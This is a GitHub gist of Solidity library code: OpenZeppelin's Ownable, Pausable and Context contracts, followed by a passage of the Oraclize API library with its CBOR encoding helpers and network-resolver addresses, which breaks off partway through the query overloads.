-
-
Save gentlyawesome/7aa0f9c616eb90b301d17915b3f8cf59 to your computer and use it in GitHub Desktop.
// SPDX-License-Identifier: MIT | |
// OpenZeppelin Contracts (last updated v4.9.0) (access/Ownable.sol) | |
pragma solidity ^0.8.19; | |
import {Context} from "../utils/Context.sol"; | |
/** | |
* @dev Contract module which provides a basic access control mechanism, where | |
* there is an account (an owner) that can be granted exclusive access to | |
* specific functions. | |
* | |
* The initial owner is set to the address provided by the deployer. This can | |
* later be changed with {transferOwnership}. | |
* | |
* This module is used through inheritance. It will make available the modifier | |
* `onlyOwner`, which can be applied to your functions to restrict their use to | |
* the owner. | |
*/ | |
abstract contract Ownable is Context { | |
address private _owner; | |
/** | |
* @dev The caller account is not authorized to perform an operation. | |
*/ | |
error OwnableUnauthorizedAccount(address account); | |
/** | |
* @dev The owner is not a valid owner account. (eg. `address(0)`) | |
*/ | |
error OwnableInvalidOwner(address owner); | |
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); | |
/** | |
* @dev Initializes the contract setting the address provided by the deployer as the initial owner. | |
*/ | |
constructor(address initialOwner) { | |
_transferOwnership(initialOwner); | |
} | |
/** | |
* @dev Throws if called by any account other than the owner. | |
*/ | |
modifier onlyOwner() { | |
_checkOwner(); | |
_; | |
} | |
/** | |
* @dev Returns the address of the current owner. | |
*/ | |
function owner() public view virtual returns (address) { | |
return _owner; | |
} | |
/** | |
* @dev Throws if the sender is not the owner. | |
*/ | |
function _checkOwner() internal view virtual { | |
if (owner() != _msgSender()) { | |
revert OwnableUnauthorizedAccount(_msgSender()); | |
} | |
} | |
/** | |
* @dev Leaves the contract without owner. It will not be possible to call | |
* `onlyOwner` functions. Can only be called by the current owner. | |
* | |
* NOTE: Renouncing ownership will leave the contract without an owner, | |
* thereby disabling any functionality that is only available to the owner. | |
*/ | |
function renounceOwnership() public virtual onlyOwner { | |
_transferOwnership(address(0)); | |
} | |
/** | |
* @dev Transfers ownership of the contract to a new account (`newOwner`). | |
* Can only be called by the current owner. | |
*/ | |
function transferOwnership(address newOwner) public virtual onlyOwner { | |
if (newOwner == address(0)) { | |
revert OwnableInvalidOwner(address(0)); | |
} | |
_transferOwnership(newOwner); | |
} | |
/** | |
* @dev Transfers ownership of the contract to a new account (`newOwner`). | |
* Internal function without access restriction. | |
*/ | |
function _transferOwnership(address newOwner) internal virtual { | |
address oldOwner = _owner; | |
_owner = newOwner; | |
emit OwnershipTransferred(oldOwner, newOwner); | |
} | |
} |
// SPDX-License-Identifier: MIT | |
// OpenZeppelin Contracts (last updated v4.7.0) (security/Pausable.sol) | |
pragma solidity ^0.8.19; | |
import {Context} from "../utils/Context.sol"; | |
/** | |
* @dev Contract module which allows children to implement an emergency stop | |
* mechanism that can be triggered by an authorized account. | |
* | |
* This module is used through inheritance. It will make available the | |
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to | |
* the functions of your contract. Note that they will not be pausable by | |
* simply including this module, only once the modifiers are put in place. | |
*/ | |
abstract contract Pausable is Context { | |
bool private _paused; | |
/** | |
* @dev Emitted when the pause is triggered by `account`. | |
*/ | |
event Paused(address account); | |
/** | |
* @dev Emitted when the pause is lifted by `account`. | |
*/ | |
event Unpaused(address account); | |
/** | |
* @dev The operation failed because the contract is paused. | |
*/ | |
error EnforcedPause(); | |
/** | |
* @dev The operation failed because the contract is not paused. | |
*/ | |
error ExpectedPause(); | |
/** | |
* @dev Initializes the contract in unpaused state. | |
*/ | |
constructor() { | |
_paused = false; | |
} | |
/** | |
* @dev Modifier to make a function callable only when the contract is not paused. | |
* | |
* Requirements: | |
* | |
* - The contract must not be paused. | |
*/ | |
modifier whenNotPaused() { | |
_requireNotPaused(); | |
_; | |
} | |
/** | |
* @dev Modifier to make a function callable only when the contract is paused. | |
* | |
* Requirements: | |
* | |
* - The contract must be paused. | |
*/ | |
modifier whenPaused() { | |
_requirePaused(); | |
_; | |
} | |
/** | |
* @dev Returns true if the contract is paused, and false otherwise. | |
*/ | |
function paused() public view virtual returns (bool) { | |
return _paused; | |
} | |
/** | |
* @dev Throws if the contract is paused. | |
*/ | |
function _requireNotPaused() internal view virtual { | |
if (paused()) { | |
revert EnforcedPause(); | |
} | |
} | |
/** | |
* @dev Throws if the contract is not paused. | |
*/ | |
function _requirePaused() internal view virtual { | |
if (!paused()) { | |
revert ExpectedPause(); | |
} | |
} | |
/** | |
* @dev Triggers stopped state. | |
* | |
* Requirements: | |
* | |
* - The contract must not be paused. | |
*/ | |
function _pause() internal virtual whenNotPaused { | |
_paused = true; | |
emit Paused(_msgSender()); | |
} | |
/** | |
* @dev Returns to normal state. | |
* | |
* Requirements: | |
* | |
* - The contract must be paused. | |
*/ | |
function _unpause() internal virtual whenPaused { | |
_paused = false; | |
emit Unpaused(_msgSender()); | |
} | |
} |
// SPDX-License-Identifier: MIT | |
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol) | |
pragma solidity ^0.8.19; | |
/** | |
* @dev Provides information about the current execution context, including the | |
* sender of the transaction and its data. While these are generally available | |
* via msg.sender and msg.data, they should not be accessed in such a direct | |
* manner, since when dealing with meta-transactions the account sending and | |
* paying for execution may not be the actual sender (as far as an application | |
* is concerned). | |
* | |
* This contract is only required for intermediate, library-like contracts. | |
*/ | |
abstract contract Context { | |
function _msgSender() internal view virtual returns (address) { | |
return msg.sender; | |
} | |
function _msgData() internal view virtual returns (bytes calldata) { | |
return msg.data; | |
} | |
} |
/* | |
ORACLIZE_API | |
Copyright (c) 2015-2016 Oraclize SRL | |
Copyright (c) 2016 Oraclize LTD | |
Permission is hereby granted, free of charge, to any person obtaining a copy | |
of this software and associated documentation files (the "Software"), to deal | |
in the Software without restriction, including without limitation the rights | |
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell | |
copies of the Software, and to permit persons to whom the Software is | |
furnished to do so, subject to the following conditions: | |
The above copyright notice and this permission notice shall be included in | |
all copies or substantial portions of the Software. | |
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR | |
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, | |
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE | |
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER | |
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, | |
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN | |
THE SOFTWARE. | |
*/ | |
pragma solidity >= 0.5.0 < 0.6.0; // Incompatible compiler version - please select a compiler within the stated pragma range, or use a different version of the oraclizeAPI! | |
// Dummy contract only used to emit to end-user they are using wrong solc | |
contract solcChecker { | |
/* INCOMPATIBLE SOLC: import the following instead: "github.com/oraclize/ethereum-api/oraclizeAPI_0.4.sol" */ function f(bytes calldata x) external; | |
} | |
contract OraclizeI { | |
address public cbAddress; | |
function setProofType(byte _proofType) external; | |
function setCustomGasPrice(uint _gasPrice) external; | |
function getPrice(string memory _datasource) public returns (uint _dsprice); | |
function randomDS_getSessionPubKeyHash() external view returns (bytes32 _sessionKeyHash); | |
function getPrice(string memory _datasource, uint _gasLimit) public returns (uint _dsprice); | |
function queryN(uint _timestamp, string memory _datasource, bytes memory _argN) public payable returns (bytes32 _id); | |
function query(uint _timestamp, string calldata _datasource, string calldata _arg) external payable returns (bytes32 _id); | |
function query2(uint _timestamp, string memory _datasource, string memory _arg1, string memory _arg2) public payable returns (bytes32 _id); | |
function query_withGasLimit(uint _timestamp, string calldata _datasource, string calldata _arg, uint _gasLimit) external payable returns (bytes32 _id); | |
function queryN_withGasLimit(uint _timestamp, string calldata _datasource, bytes calldata _argN, uint _gasLimit) external payable returns (bytes32 _id); | |
function query2_withGasLimit(uint _timestamp, string calldata _datasource, string calldata _arg1, string calldata _arg2, uint _gasLimit) external payable returns (bytes32 _id); | |
} | |
contract OraclizeAddrResolverI { | |
function getAddress() public returns (address _address); | |
} | |
/* | |
Begin solidity-cborutils | |
https://github.com/smartcontractkit/solidity-cborutils | |
MIT License | |
Copyright (c) 2018 SmartContract ChainLink, Ltd. | |
Permission is hereby granted, free of charge, to any person obtaining a copy | |
of this software and associated documentation files (the "Software"), to deal | |
in the Software without restriction, including without limitation the rights | |
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell | |
copies of the Software, and to permit persons to whom the Software is | |
furnished to do so, subject to the following conditions: | |
The above copyright notice and this permission notice shall be included in all | |
copies or substantial portions of the Software. | |
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR | |
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, | |
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE | |
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER | |
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, | |
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE | |
SOFTWARE. | |
*/ | |
library Buffer { | |
struct buffer { | |
bytes buf; | |
uint capacity; | |
} | |
function init(buffer memory _buf, uint _capacity) internal pure { | |
uint capacity = _capacity; | |
if (capacity % 32 != 0) { | |
capacity += 32 - (capacity % 32); | |
} | |
_buf.capacity = capacity; // Allocate space for the buffer data | |
assembly { | |
let ptr := mload(0x40) | |
mstore(_buf, ptr) | |
mstore(ptr, 0) | |
mstore(0x40, add(ptr, capacity)) | |
} | |
} | |
function resize(buffer memory _buf, uint _capacity) private pure { | |
bytes memory oldbuf = _buf.buf; | |
init(_buf, _capacity); | |
append(_buf, oldbuf); | |
} | |
function max(uint _a, uint _b) private pure returns (uint _max) { | |
if (_a > _b) { | |
return _a; | |
} | |
return _b; | |
} | |
/** | |
* @dev Appends a byte array to the end of the buffer. Resizes if doing so | |
* would exceed the capacity of the buffer. | |
* @param _buf The buffer to append to. | |
* @param _data The data to append. | |
* @return The original buffer. | |
* | |
*/ | |
function append(buffer memory _buf, bytes memory _data) internal pure returns (buffer memory _buffer) { | |
if (_data.length + _buf.buf.length > _buf.capacity) { | |
resize(_buf, max(_buf.capacity, _data.length) * 2); | |
} | |
uint dest; | |
uint src; | |
uint len = _data.length; | |
assembly { | |
let bufptr := mload(_buf) // Memory address of the buffer data | |
let buflen := mload(bufptr) // Length of existing buffer data | |
dest := add(add(bufptr, buflen), 32) // Start address = buffer address + buffer length + sizeof(buffer length) | |
mstore(bufptr, add(buflen, mload(_data))) // Update buffer length | |
src := add(_data, 32) | |
} | |
for(; len >= 32; len -= 32) { // Copy word-length chunks while possible | |
assembly { | |
mstore(dest, mload(src)) | |
} | |
dest += 32; | |
src += 32; | |
} | |
uint mask = 256 ** (32 - len) - 1; // Copy remaining bytes | |
assembly { | |
let srcpart := and(mload(src), not(mask)) | |
let destpart := and(mload(dest), mask) | |
mstore(dest, or(destpart, srcpart)) | |
} | |
return _buf; | |
} | |
/** | |
* | |
* @dev Appends a byte to the end of the buffer. Resizes if doing so would | |
* exceed the capacity of the buffer. | |
* @param _buf The buffer to append to. | |
* @param _data The data to append. | |
* @return The original buffer. | |
* | |
*/ | |
function append(buffer memory _buf, uint8 _data) internal pure { | |
if (_buf.buf.length + 1 > _buf.capacity) { | |
resize(_buf, _buf.capacity * 2); | |
} | |
assembly { | |
let bufptr := mload(_buf) // Memory address of the buffer data | |
let buflen := mload(bufptr) // Length of existing buffer data | |
let dest := add(add(bufptr, buflen), 32) // Address = buffer address + buffer length + sizeof(buffer length) | |
mstore8(dest, _data) | |
mstore(bufptr, add(buflen, 1)) // Update buffer length | |
} | |
} | |
/** | |
* | |
* @dev Appends a byte to the end of the buffer. Resizes if doing so would | |
* exceed the capacity of the buffer. | |
* @param _buf The buffer to append to. | |
* @param _data The data to append. | |
* @return The original buffer. | |
* | |
*/ | |
function appendInt(buffer memory _buf, uint _data, uint _len) internal pure returns (buffer memory _buffer) { | |
if (_len + _buf.buf.length > _buf.capacity) { | |
resize(_buf, max(_buf.capacity, _len) * 2); | |
} | |
uint mask = 256 ** _len - 1; | |
assembly { | |
let bufptr := mload(_buf) // Memory address of the buffer data | |
let buflen := mload(bufptr) // Length of existing buffer data | |
let dest := add(add(bufptr, buflen), _len) // Address = buffer address + buffer length + sizeof(buffer length) + len | |
mstore(dest, or(and(mload(dest), not(mask)), _data)) | |
mstore(bufptr, add(buflen, _len)) // Update buffer length | |
} | |
return _buf; | |
} | |
} | |
library CBOR { | |
using Buffer for Buffer.buffer; | |
uint8 private constant MAJOR_TYPE_INT = 0; | |
uint8 private constant MAJOR_TYPE_MAP = 5; | |
uint8 private constant MAJOR_TYPE_BYTES = 2; | |
uint8 private constant MAJOR_TYPE_ARRAY = 4; | |
uint8 private constant MAJOR_TYPE_STRING = 3; | |
uint8 private constant MAJOR_TYPE_NEGATIVE_INT = 1; | |
uint8 private constant MAJOR_TYPE_CONTENT_FREE = 7; | |
function encodeType(Buffer.buffer memory _buf, uint8 _major, uint _value) private pure { | |
if (_value <= 23) { | |
_buf.append(uint8((_major << 5) | _value)); | |
} else if (_value <= 0xFF) { | |
_buf.append(uint8((_major << 5) | 24)); | |
_buf.appendInt(_value, 1); | |
} else if (_value <= 0xFFFF) { | |
_buf.append(uint8((_major << 5) | 25)); | |
_buf.appendInt(_value, 2); | |
} else if (_value <= 0xFFFFFFFF) { | |
_buf.append(uint8((_major << 5) | 26)); | |
_buf.appendInt(_value, 4); | |
} else if (_value <= 0xFFFFFFFFFFFFFFFF) { | |
_buf.append(uint8((_major << 5) | 27)); | |
_buf.appendInt(_value, 8); | |
} | |
} | |
function encodeIndefiniteLengthType(Buffer.buffer memory _buf, uint8 _major) private pure { | |
_buf.append(uint8((_major << 5) | 31)); | |
} | |
function encodeUInt(Buffer.buffer memory _buf, uint _value) internal pure { | |
encodeType(_buf, MAJOR_TYPE_INT, _value); | |
} | |
function encodeInt(Buffer.buffer memory _buf, int _value) internal pure { | |
if (_value >= 0) { | |
encodeType(_buf, MAJOR_TYPE_INT, uint(_value)); | |
} else { | |
encodeType(_buf, MAJOR_TYPE_NEGATIVE_INT, uint(-1 - _value)); | |
} | |
} | |
function encodeBytes(Buffer.buffer memory _buf, bytes memory _value) internal pure { | |
encodeType(_buf, MAJOR_TYPE_BYTES, _value.length); | |
_buf.append(_value); | |
} | |
function encodeString(Buffer.buffer memory _buf, string memory _value) internal pure { | |
encodeType(_buf, MAJOR_TYPE_STRING, bytes(_value).length); | |
_buf.append(bytes(_value)); | |
} | |
function startArray(Buffer.buffer memory _buf) internal pure { | |
encodeIndefiniteLengthType(_buf, MAJOR_TYPE_ARRAY); | |
} | |
function startMap(Buffer.buffer memory _buf) internal pure { | |
encodeIndefiniteLengthType(_buf, MAJOR_TYPE_MAP); | |
} | |
function endSequence(Buffer.buffer memory _buf) internal pure { | |
encodeIndefiniteLengthType(_buf, MAJOR_TYPE_CONTENT_FREE); | |
} | |
} | |
/* | |
End solidity-cborutils | |
*/ | |
contract usingOraclize { | |
using CBOR for Buffer.buffer; | |
OraclizeI oraclize; | |
OraclizeAddrResolverI OAR; | |
uint constant day = 60 * 60 * 24; | |
uint constant week = 60 * 60 * 24 * 7; | |
uint constant month = 60 * 60 * 24 * 30; | |
byte constant proofType_NONE = 0x00; | |
byte constant proofType_Ledger = 0x30; | |
byte constant proofType_Native = 0xF0; | |
byte constant proofStorage_IPFS = 0x01; | |
byte constant proofType_Android = 0x40; | |
byte constant proofType_TLSNotary = 0x10; | |
string oraclize_network_name; | |
uint8 constant networkID_auto = 0; | |
uint8 constant networkID_morden = 2; | |
uint8 constant networkID_mainnet = 1; | |
uint8 constant networkID_testnet = 2; | |
uint8 constant networkID_consensys = 161; | |
mapping(bytes32 => bytes32) oraclize_randomDS_args; | |
mapping(bytes32 => bool) oraclize_randomDS_sessionKeysHashVerified; | |
modifier oraclizeAPI { | |
if ((address(OAR) == address(0)) || (getCodeSize(address(OAR)) == 0)) { | |
oraclize_setNetwork(networkID_auto); | |
} | |
if (address(oraclize) != OAR.getAddress()) { | |
oraclize = OraclizeI(OAR.getAddress()); | |
} | |
_; | |
} | |
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string memory _result, bytes memory _proof) { | |
// RandomDS Proof Step 1: The prefix has to match 'LP\x01' (Ledger Proof version 1) | |
require((_proof[0] == "L") && (_proof[1] == "P") && (uint8(_proof[2]) == uint8(1))); | |
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName()); | |
require(proofVerified); | |
_; | |
} | |
function oraclize_setNetwork(uint8 _networkID) internal returns (bool _networkSet) { | |
_networkID; // NOTE: Silence the warning and remain backwards compatible | |
return oraclize_setNetwork(); | |
} | |
function oraclize_setNetworkName(string memory _network_name) internal { | |
oraclize_network_name = _network_name; | |
} | |
function oraclize_getNetworkName() internal view returns (string memory _networkName) { | |
return oraclize_network_name; | |
} | |
function oraclize_setNetwork() internal returns (bool _networkSet) { | |
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed) > 0) { //mainnet | |
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed); | |
oraclize_setNetworkName("eth_mainnet"); | |
return true; | |
} | |
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1) > 0) { //ropsten testnet | |
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1); | |
oraclize_setNetworkName("eth_ropsten3"); | |
return true; | |
} | |
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e) > 0) { //kovan testnet | |
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e); | |
oraclize_setNetworkName("eth_kovan"); | |
return true; | |
} | |
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48) > 0) { //rinkeby testnet | |
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48); | |
oraclize_setNetworkName("eth_rinkeby"); | |
return true; | |
} | |
if (getCodeSize(0xa2998EFD205FB9D4B4963aFb70778D6354ad3A41) > 0) { //goerli testnet | |
OAR = OraclizeAddrResolverI(0xa2998EFD205FB9D4B4963aFb70778D6354ad3A41); | |
oraclize_setNetworkName("eth_goerli"); | |
return true; | |
} | |
if (getCodeSize(0x90A0F94702c9630036FB9846B52bf31A1C991a84) > 0){ //bsc mainnet | |
OAR = OraclizeAddrResolverI(0x90A0F94702c9630036FB9846B52bf31A1C991a84); | |
oraclize_setNetworkName("bsc_mainnet"); | |
return true; | |
} | |
if (getCodeSize(0x816ec2AF1b56183F82f8C05759E99FEc3c3De609) > 0){ //polygon mainnet | |
OAR = OraclizeAddrResolverI(0x816ec2AF1b56183F82f8C05759E99FEc3c3De609); | |
oraclize_setNetworkName("polygon_mainnet"); | |
return true; | |
} | |
if (getCodeSize(0x14B31A1C66a9f3D18DFaC2d123FE8cE5847b7F85) > 0){ //sepolia mainnet | |
OAR = OraclizeAddrResolverI(0x14B31A1C66a9f3D18DFaC2d123FE8cE5847b7F85); | |
oraclize_setNetworkName("sepolia_mainnet"); | |
return true; | |
} | |
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475) > 0) { //ethereum-bridge | |
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475); | |
return true; | |
} | |
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF) > 0) { //ether.camp ide | |
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF); | |
return true; | |
} | |
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA) > 0) { //browser-solidity | |
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA); | |
return true; | |
} | |
return false; | |
} | |
/** | |
* @dev The following `__callback` functions are just placeholders ideally | |
* meant to be defined in child contract when proofs are used. | |
* The function bodies simply silence compiler warnings. | |
*/ | |
function __callback(bytes32 _myid, string memory _result) public { | |
__callback(_myid, _result, new bytes(0)); | |
} | |
function __callback(bytes32 _myid, string memory _result, bytes memory _proof) public { | |
_myid; _result; _proof; | |
oraclize_randomDS_args[bytes32(0)] = bytes32(0); | |
} | |
function oraclize_getPrice(string memory _datasource) oraclizeAPI internal returns (uint _queryPrice) { | |
return oraclize.getPrice(_datasource); | |
} | |
function oraclize_getPrice(string memory _datasource, uint _gasLimit) oraclizeAPI internal returns (uint _queryPrice) { | |
return oraclize.getPrice(_datasource, _gasLimit); | |
} | |
function oraclize_query(string memory _datasource, string memory _arg) oraclizeAPI internal returns (bytes32 _id) { | |
uint price = oraclize.getPrice(_datasource); | |
if (price > 1 ether + tx.gasprice * 200000) { | |
return 0; // Unexpectedly high price | |
} | |
return oraclize.query.value(price)(0, _datasource, _arg); | |
} | |
function oraclize_query(uint _timestamp, string memory _datasource, string memory _arg) oraclizeAPI internal returns (bytes32 _id) { | |
uint price = oraclize.getPrice(_datasource); | |
if (price > 1 ether + tx.gasprice * 200000) { | |
return 0; // Unexpectedly high price | |
} | |
return oraclize.query.value(price)(_timestamp, _datasource, _arg); | |
} | |
function oraclize_query(uint _timestamp, string memory _datasource, string memory _arg, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { | |
uint price = oraclize.getPrice(_datasource,_gasLimit); | |
if (price > 1 ether + tx.gasprice * _gasLimit) { | |
return 0; // Unexpectedly high price | |
} | |
return oraclize.query_withGasLimit.value(price)(_timestamp, _datasource, _arg, _gasLimit); | |
} | |
function oraclize_query(string memory _datasource, string memory _arg, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { | |
uint price = oraclize.getPrice(_datasource, _gasLimit); | |
if (price > 1 ether + tx.gasprice * _gasLimit) { | |
return 0; // Unexpectedly high price | |
} | |
return oraclize.query_withGasLimit.value(price)(0, _datasource, _arg, _gasLimit); | |
} | |
function oraclize_query(string memory _datasource, string memory _arg1, string memory _arg2) oraclizeAPI internal returns (bytes32 _id) { | |
uint price = oraclize.getPrice(_datasource); | |
if (price > 1 ether + tx.gasprice * 200000) { | |
return 0; // Unexpectedly high price | |
} | |
return oraclize.query2.value(price)(0, _datasource, _arg1, _arg2); | |
} | |
function oraclize_query(uint _timestamp, string memory _datasource, string memory _arg1, string memory _arg2) oraclizeAPI internal returns (bytes32 _id) { | |
uint price = oraclize.getPrice(_datasource); | |
if (price > 1 ether + tx.gasprice * 200000) { | |
return 0; // Unexpectedly high price | |
} | |
return oraclize.query2.value(price)(_timestamp, _datasource, _arg1, _arg2); | |
} | |
function oraclize_query(uint _timestamp, string memory _datasource, string memory _arg1, string memory _arg2, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { | |
uint price = oraclize.getPrice(_datasource, _gasLimit); | |
if (price > 1 ether + tx.gasprice * _gasLimit) { | |
return 0; // Unexpectedly high price | |
} | |
return oraclize.query2_withGasLimit.value(price)(_timestamp, _datasource, _arg1, _arg2, _gasLimit); | |
} | |
function oraclize_query(string memory _datasource, string memory _arg1, string memory _arg2, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { | |
uint price = oraclize.getPrice(_datasource, _gasLimit); | |
if (price > 1 ether + tx.gasprice * _gasLimit) { | |
return 0; // Unexpectedly high price | |
} | |
return oraclize.query2_withGasLimit.value(price)(0, _datasource, _arg1, _arg2, _gasLimit); | |
} | |
function oraclize_query(string memory _datasource, string[] memory _argN) oraclizeAPI internal returns (bytes32 _id) { | |
uint price = oraclize.getPrice(_datasource); | |
if (price > 1 ether + tx.gasprice * 200000) { | |
return 0; // Unexpectedly high price | |
} | |
bytes memory args = stra2cbor(_argN); | |
return oraclize.queryN.value(price)(0, _datasource, args); | |
} | |
function oraclize_query(uint _timestamp, string memory _datasource, string[] memory _argN) oraclizeAPI internal returns (bytes32 _id) { | |
uint price = oraclize.getPrice(_datasource); | |
if (price > 1 ether + tx.gasprice * 200000) { | |
return 0; // Unexpectedly high price | |
} | |
bytes memory args = stra2cbor(_argN); | |
return oraclize.queryN.value(price)(_timestamp, _datasource, args); | |
} | |
function oraclize_query(uint _timestamp, string memory _datasource, string[] memory _argN, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { | |
uint price = oraclize.getPrice(_datasource, _gasLimit); | |
if (price > 1 ether + tx.gasprice * _gasLimit) { | |
return 0; // Unexpectedly high price | |
} | |
bytes memory args = stra2cbor(_argN); | |
return oraclize.queryN_withGasLimit.value(price)(_timestamp, _datasource, args, _gasLimit); | |
} | |
function oraclize_query(string memory _datasource, string[] memory _argN, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { | |
uint price = oraclize.getPrice(_datasource, _gasLimit); | |
if (price > 1 ether + tx.gasprice * _gasLimit) { | |
return 0; // Unexpectedly high price | |
} | |
bytes memory args = stra2cbor(_argN); | |
return oraclize.queryN_withGasLimit.value(price)(0, _datasource, args, _gasLimit); | |
} | |
function oraclize_query(string memory _datasource, string[1] memory _args) oraclizeAPI internal returns (bytes32 _id) { | |
string[] memory dynargs = new string[](1); | |
dynargs[0] = _args[0]; | |
return oraclize_query(_datasource, dynargs); | |
} | |
function oraclize_query(uint _timestamp, string memory _datasource, string[1] memory _args) oraclizeAPI internal returns (bytes32 _id) { | |
string[] memory dynargs = new string[](1); | |
dynargs[0] = _args[0]; | |
return oraclize_query(_timestamp, _datasource, dynargs); | |
} | |
function oraclize_query(uint _timestamp, string memory _datasource, string[1] memory _args, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { | |
string[] memory dynargs = new string[](1); | |
dynargs[0] = _args[0]; | |
return oraclize_query(_timestamp, _datasource, dynargs, _gasLimit); | |
} | |
function oraclize_query(string memory _datasource, string[1] memory _args, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { | |
string[] memory dynargs = new string[](1); | |
dynargs[0] = _args[0]; | |
return oraclize_query(_datasource, dynargs, _gasLimit); | |
} | |
function oraclize_query(string memory _datasource, string[2] memory _args) oraclizeAPI internal returns (bytes32 _id) { | |
string[] memory dynargs = new string[](2); | |
dynargs[0] = _args[0]; | |
dynargs[1] = _args[1]; | |
return oraclize_query(_datasource, dynargs); | |
} | |
function oraclize_query(uint _timestamp, string memory _datasource, string[2] memory _args) oraclizeAPI internal returns (bytes32 _id) { | |
string[] memory dynargs = new string[](2); | |
dynargs[0] = _args[0]; | |
dynargs[1] = _args[1]; | |
return oraclize_query(_timestamp, _datasource, dynargs); | |
} | |
function oraclize_query(uint _timestamp, string memory _datasource, string[2] memory _args, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { | |
string[] memory dynargs = new string[](2); | |
dynargs[0] = _args[0]; | |
dynargs[1] = _args[1]; | |
return oraclize_query(_timestamp, _datasource, dynargs, _gasLimit); | |
} | |
function oraclize_query(string memory _datasource, string[2] memory _args, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { | |
string[] memory dynargs = new string[](2); | |
dynargs[0] = _args[0]; | |
dynargs[1] = _args[1]; | |
return oraclize_query(_datasource, dynargs, _gasLimit); | |
} | |
function oraclize_query(string memory _datasource, string[3] memory _args) oraclizeAPI internal returns (bytes32 _id) { | |
string[] memory dynargs = new string[](3); | |
dynargs[0] = _args[0]; | |
dynargs[1] = _args[1]; | |
dynargs[2] = _args[2]; | |
return oraclize_query(_datasource, dynargs); | |
} | |
function oraclize_query(uint _timestamp, string memory _datasource, string[3] memory _args) oraclizeAPI internal returns (bytes32 _id) { | |
string[] memory dynargs = new string[](3); | |
dynargs[0] = _args[0]; | |
dynargs[1] = _args[1]; | |
dynargs[2] = _args[2]; | |
return oraclize_query(_timestamp, _datasource, dynargs); | |
} | |
function oraclize_query(uint _timestamp, string memory _datasource, string[3] memory _args, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { | |
string[] memory dynargs = new string[](3); | |
dynargs[0] = _args[0]; | |
dynargs[1] = _args[1]; | |
dynargs[2] = _args[2]; | |
return oraclize_query(_timestamp, _datasource, dynargs, _gasLimit); | |
} | |
function oraclize_query(string memory _datasource, string[3] memory _args, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { | |
string[] memory dynargs = new string[](3); | |
dynargs[0] = _args[0]; | |
dynargs[1] = _args[1]; | |
dynargs[2] = _args[2]; | |
return oraclize_query(_datasource, dynargs, _gasLimit); | |
} | |
function oraclize_query(string memory _datasource, string[4] memory _args) oraclizeAPI internal returns (bytes32 _id) { | |
string[] memory dynargs = new string[](4); | |
dynargs[0] = _args[0]; | |
dynargs[1] = _args[1]; | |
dynargs[2] = _args[2]; | |
dynargs[3] = _args[3]; | |
return oraclize_query(_datasource, dynargs); | |
} | |
function oraclize_query(uint _timestamp, string memory _datasource, string[4] memory _args) oraclizeAPI internal returns (bytes32 _id) { | |
string[] memory dynargs = new string[](4); | |
dynargs[0] = _args[0]; | |
dynargs[1] = _args[1]; | |
dynargs[2] = _args[2]; | |
dynargs[3] = _args[3]; | |
return oraclize_query(_timestamp, _datasource, dynargs); | |
} | |
function oraclize_query(uint _timestamp, string memory _datasource, string[4] memory _args, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { | |
string[] memory dynargs = new string[](4); | |
dynargs[0] = _args[0]; | |
dynargs[1] = _args[1]; | |
dynargs[2] = _args[2]; | |
dynargs[3] = _args[3]; | |
